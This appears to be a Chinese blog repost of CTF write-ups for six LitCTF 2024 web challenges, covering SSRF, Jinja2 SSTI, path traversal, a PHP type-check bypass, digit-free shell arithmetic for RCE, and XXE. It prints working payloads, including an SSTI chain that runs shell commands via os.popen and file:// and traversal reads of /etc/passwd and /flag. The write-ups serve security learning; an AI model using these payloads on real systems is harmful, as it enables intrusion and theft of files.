当前位置: 首页 > news >正文

LitCTF2024赛后web复现

复现要求:看wp做一遍,自己做一遍,第二天再做一遍。(一眼看出来就跳过)

目录

[LitCTF 2024]浏览器也能套娃?

[LitCTF 2024]一个....池子?

[LitCTF 2024]高亮主题(划掉)背景查看器

[LitCTF 2024]百万美元的诱惑

[LitCTF 2024]SAS - Serializing Authentication

[LitCTF 2024]exx


[LitCTF 2024]浏览器也能套娃?

类型:ssrf、http协议

尝试输入http://127.0.0.1发现跳出一个相同页面,输入http://www.baidu.com发现跳转到了百度页面,这里我们可以想到可能是ssrf漏洞

直接用file伪协议

file伪协议:允许直接访问本地文件系统

file:///path/file

输入file:///etc/passwd尝试发现有回显

既然有/etc/passwd这个目录存在且里面也没有发现flag的相关信息,尝试查看一下/flag目录存在不存在,直接得到flag。

file:///flag

 

[LitCTF 2024]一个....池子?

类型:SSTI、Flask(Jinja2)

看到这个页面会联想到的漏洞可能是xss也可能ssti,用xss弹cookie发现没有弹出flag先不考虑先用ssti。

输入{{7*7}},回显49说明存在ssti漏洞

输入{{"".__class__}}发现回显成功不存在过滤

{{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

 {{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

 

[LitCTF 2024]高亮主题(划掉)背景查看器

类型:文件包含、目录穿越

进入后看到一段php代码且是文件包含漏洞演示

 

先根据页面里代码提示的在url里用?url=/ect/passwd尝试看看有没有回显结果发现一直在加载中说明url里不存在漏洞

用hackbar打开post传参一下theme=/etc/passwd发现有报错信息不能打开这个文件且现在的路径是themes//etc/p说明当前页面的路径是themes,可能存在漏洞

用目录穿越继续测试../etc/passwd发现还在themes路径下

../../etc/passwd发现成功穿越到var/www路径下

此时尝试../../flag发现没有这个文件那就继续穿越(正常有/etc/passwd的路径下才可能有flag)

试了半天没动静感觉可能hackbar有问题用bp抓包弄弄(之前也有出现过就无语)

也是成功回显,这时候再改成flag试试

成功得到flag

 

[LitCTF 2024]百万美元的诱惑

类型:无字母RCE、无数RCE、PHP

 

代码审计

is_numeric()函数:用于检查传入函数中作为参数的变量是数字还是数字字符串,该函数返回一个布尔值

扩展:

type_digit() 和 is_numeric() 都可以 “判断变量是否为数字”。

 type_digit() :只有在字符串中全是「数字」才会返回 true ,整型、浮点型、甚至包含正负符号的值都返回 false。

 is_numeric() :对整型、浮点型、以及包含正负符号的值都返回 true 。

由于is_numeric()前有一个!说明逻辑取反,变量c不是数字但是变量c的大小要大于2024所以用2025e即可绕过

完整payload:

?a[]=1&b[]=2&c=2025e

得到一个php文件

访问得到新的php代码

flag在12.php里,通过rce得到,只需要x=12即可得到,但是需要绕过正则。

这里想不到12需要怎么构造来绕过查了一波资料

在Linux中,可以使用$(())进行数学运算,$(())是空运算,默认值是0。

$((3*4))=12

 由于这里数字全被禁用了所以我们需要进一步构造

$((~$(())))=-1

$(())内部数学表达式的结果为$(())=0,按位取反后的结果是 -1。

继续

$((~$(())))$((~$(())))=-1-1=-2

$((~$(($((~$(())))$((~$(())))$((~$(())))))))=-(-3+1)=2

构造payload:

dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

 打开后是个空白界面根据之前做题经验查看源代码得到flag

[LitCTF 2024]SAS - Serializing Authentication

类型:PHP反序列化

根据代码直接username=admin,password=secure_password且需要base64_encode加密

输入直接得到flag

[LitCTF 2024]exx

类型:XXE、PHP

看到登入界面我们先输个常规的admin 123456进去试试

发现在上面有回显登入失败

接着测试一下有没有sql注入,ssti注入和xss发现都不存在

打开源代码查看(另一种思路则是用bp打开fuzz得到回显)

发现一串代码(且从代码可以看出是关于用户名提交和密码提交),请求包的格式是xml,有一个php文件打开是一个报错页面

看到了DOMDocument::loadXML字样,再根据题目名称和登录请求包格式(XML格式),推测是考察XXE那一块。

DOCTYPE用于定义xml文件中实体内容

DOCTYPE声明

**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>

**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">

DOCTYPE内部实体分类

**引用内部实体**
<!ENTITY 实体名称 "实体的值">


**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">

实体必须在DTD中声明定义才能在其他位置使用

打开bp开始构造payload

先构造内部实体用伪协议查看发现都不可行,可能在外部,构造payload引用外部实体b

正常会先查看/etc/passwd这个目录这边就不放进去了

得到一串base64字符串解密后得到flag

http://www.lryc.cn/news/408880.html

相关文章:

  • Elasticsearch:跨集群使用 ES|QL
  • 学习笔记4:docker和k8s选择简述
  • 关于锁策略
  • 昇思25天学习打卡营第3天|基础知识-数据集Dataset
  • C++11新特性——智能指针——参考bibi《 原子之音》的视频以及ChatGpt
  • “微软蓝屏”全球宕机,敲响基础软件自主可控警钟
  • 【Linux C | 网络编程】进程间传递文件描述符socketpair、sendmsg、recvmsg详解
  • 高并发内存池(六)Page Cache回收功能的实现
  • 浅析JWT原理及牛客出现过的相关面试题
  • Spring AI (五) Message 消息
  • 【windows Docker desktop】在git bash中报错 docker: command not found 解决办法
  • 02.FreeRTOS的移植
  • 【个人笔记】一个例子理解工厂模式
  • 【C语言】数组栈的实现
  • kafka 各种选举过程
  • 树与二叉树【数据结构】
  • 简单几步,把浏览器书签转换成导航网页
  • Mac安装Hoomebrew与升级Python版本
  • 代码审计:Bluecms v1.6
  • 谷粒商城实战笔记-59-商品服务-API-品牌管理-使用逆向工程的前后端代码
  • 如何利用Jenkins自动化管理、部署数百个应用
  • Java之归并排序
  • 了解ChatGPT API
  • EasyAnimate - 阿里开源视频生成项目,国产版Sora,高质量长视频生成 本地一键整合包下载
  • 7月23日JavaSE学习笔记
  • Linux——DNS服务搭建
  • C#中的wpf基础
  • 基于微信小程序+SpringBoot+Vue的刷题系统(带1w+文档)
  • SSH -i的用法
  • 小白学习webgis的详细路线